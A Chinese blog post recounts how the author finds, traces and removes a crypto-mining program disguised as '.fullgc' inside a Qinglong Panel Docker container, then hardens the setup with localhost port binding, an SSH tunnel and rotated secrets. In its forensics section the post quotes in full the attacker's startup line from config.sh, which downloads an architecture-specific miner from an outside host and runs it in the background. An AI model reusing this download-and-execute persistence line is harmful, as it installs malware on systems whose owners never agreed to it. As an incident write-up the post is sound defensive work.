摘要:CPU 占用率飙升 300%,进程名却叫
.fullgc,是 Java 内存泄露还是恶意攻击?本文记录了一次针对青龙面板(Qinglong Panel)的挖矿病毒排查、溯源与彻底清除的全过程。
【碎碎念】01. 案发现场:伪装成 Java GC 的刺客
事情的起因很简单,我发现我的 Home Server 突然变得卡顿,风扇狂转。通过终端输入 top 命令一看,一个名为 .fullgc 的进程居然占用了 300% 的 CPU 资源!

我的第一反应是:“坏了,难道是我部署的 Java 项目有 Bug,导致了频繁的 Full GC(全局垃圾回收)?”
但仔细一想不对劲:
正常的 GC 是 JVM 内部的行为,不会作为一个独立的进程出现在
top列表里。这个进程名字前面有个点
.,在 Linux 里代表隐藏文件,正经程序谁会把自己隐藏起来?
这绝对不是 Bug,这是病毒。
02. 数字取证:它是怎么进来的?
我咨询了做网安的朋友@Bear🐻,并进行了一系列排查。
第一步:确认“案发地点”
首先,我要弄清楚这个病毒是运行在宿主机上,还是在 Docker 容器里。 执行命令:
Bash
sudo cat /proc/3078/cgroup # 3078 是病毒进程PID
sudo ls -l /proc/3078/exe

输出结果包含 /docker/3afe34...,这让我松了一口气:病毒被隔离在 Docker 容器内。通过容器 ID 对比,确认为 青龙面板 (qinglong) 容器。
第二步:搜集罪证
进入青龙面板的挂载目录,我发现了几个触目惊心的痕迹:
病毒本体:位于
/ql/data/db/.fullgc。篡改痕迹:在脚本目录下发现了
site_monitor.swap.py。这说明黑客曾通过 API 在线编辑我的脚本,因为非正常退出留下了.swap缓存文件。启动项注入:查看系统日志,发现每次重启都有
✌️ Init file loaded。检查/ql/data/config/config.sh,在文件最后一行发现了黑客留下的恶意代码:Bash
d="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";case "$(uname -s)-$(uname -m)" in Linux-x86_64|Linux-amd64)u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";;Linux-aarch64|Linux-arm64)u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64";;Darwin-x86_64)u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64";;Darwin-arm64)u="https://file.551911.xyz/fullgc/fullgc-macos-arm64";;esac;[ -n "$u" ]&&[ ! -f "$b" ]&&{ curl -fsSL -o "$b" "$u"||wget -qO "$b" "$u"; }&&chmod +x "$b";[ -f "$b" ]&&! ps -ef|grep -v grep|grep -qF ".fullgc"&&nohup "$b" >/dev/null 2>&1 &这段代码会在每次容器启动时,自动下载并运行挖矿木马。
第三步:入侵路径推演
我检查了青龙面板的“登录日志”,结果是干净的。这说明黑客根本没走网页端登录。
结合我将 5700 端口 暴露在公网,且可能使用了弱口令的应用设置(Client ID/Secret),黑客的入侵路径昭然若揭: 公网扫描 5700 端口 -> 利用 API 漏洞或泄露的 Token -> 绕过网页登录 -> 远程修改配置文件 -> 植入病毒。
03. 绝地反击:清洗与重建
既然知道了原理,简单的 kill 进程是没有用的,因为它已经写入了自启动脚本,重启容器就会“秽土转生”。
我制定了“三步走”的清除计划:
1. (删除容器)
病毒运行在容器内存中,直接销毁容器是最快的制止方式。
Bash
sudo systemctl stop qinglong
docker rm -f qinglong2. (清理残留)
虽然容器没了,但挂载在宿主机硬盘上的数据(Volume)还在。必须手动清理这些“带毒”的文件:
Bash
# 删除项目本体
sudo rm -rf /opt/qinglong/data3. (安全重建)
最核心的教训是:永远不要把青龙面板直接暴露在公网! 我修改了 docker-compose.yml,将端口绑定限制在本地回环地址:
cd /opt/qinglong
sudo vim docker-compose.yml version: '3'
services:
qinglong:
image: whyour/qinglong:latest
container_name: qinglong
restart: unless-stopped
tty: true
ports:
# ⚠️ 关键修改:加上 127.0.0.1: 前缀
# 这样只有你服务器内部能访问,公网 IP 扫描不到
- 127.0.0.1:5700:5700
volumes:
- ./data:/ql/data尝试手动拉起一次
把服务重新拉起
sudo systemctl enable qinglong
sudo systemctl start qinglong
sudo systemctl status qinglong
04. 尾声:如何安全访问?
现在面板只监听 127.0.0.1,公网黑客扫不到了,但我自己怎么访问呢? 我采用了 SSH 隧道 (SSH Tunneling) 的方式:
在本地电脑终端执行:
ssh -L 5700:127.0.0.1:5700 user@my-server-ip然后直接在浏览器访问 http://localhost:5700 即可。或者利用 Tailscale 等内网穿透工具进行安全访问。
最后的重要一步:重新登录面板后,进入「系统设置」->「应用设置」,重置了所有的 Client Secret,防止旧钥匙流落在外。
【插曲】杀伤力不大,侮辱性极强的 ✌️
在检查系统日志时,我发现了一行让我哭笑不得的记录。每当容器重启,日志里都会整整齐齐地打印出一行:
[ℹ️info]: ✌️ Init file loaded
在青龙面板的逻辑里,只要配置文件加载没有报错,它就会判定为 Success,并打出一个胜利的手势 ✌️。
系统觉得:“好耶!老板让我加载的
config.sh我顺利加载完啦!我真棒!✌️”实际情况:“好耶!我又帮黑客把挖矿脚本跑起来啦!你的 CPU 又要起飞啦!✌️”
看着满屏的 CPU 300% 和这一行行天真无邪的 ✌️,我感受到了来自黑客代码深深的嘲讽。这个 ✌️ 不仅是系统运行正常的标志,更是病毒“秽土转生”的信号。

总结:这次中毒经历是一堂生动的 DevSecOps 课。不要因为是个人服务器就掉以轻心,防火墙、端口映射限制、强密码,一个都不能少。
希望这篇排雷记录能帮到同样遇到 .fullgc 困扰的朋友!✌️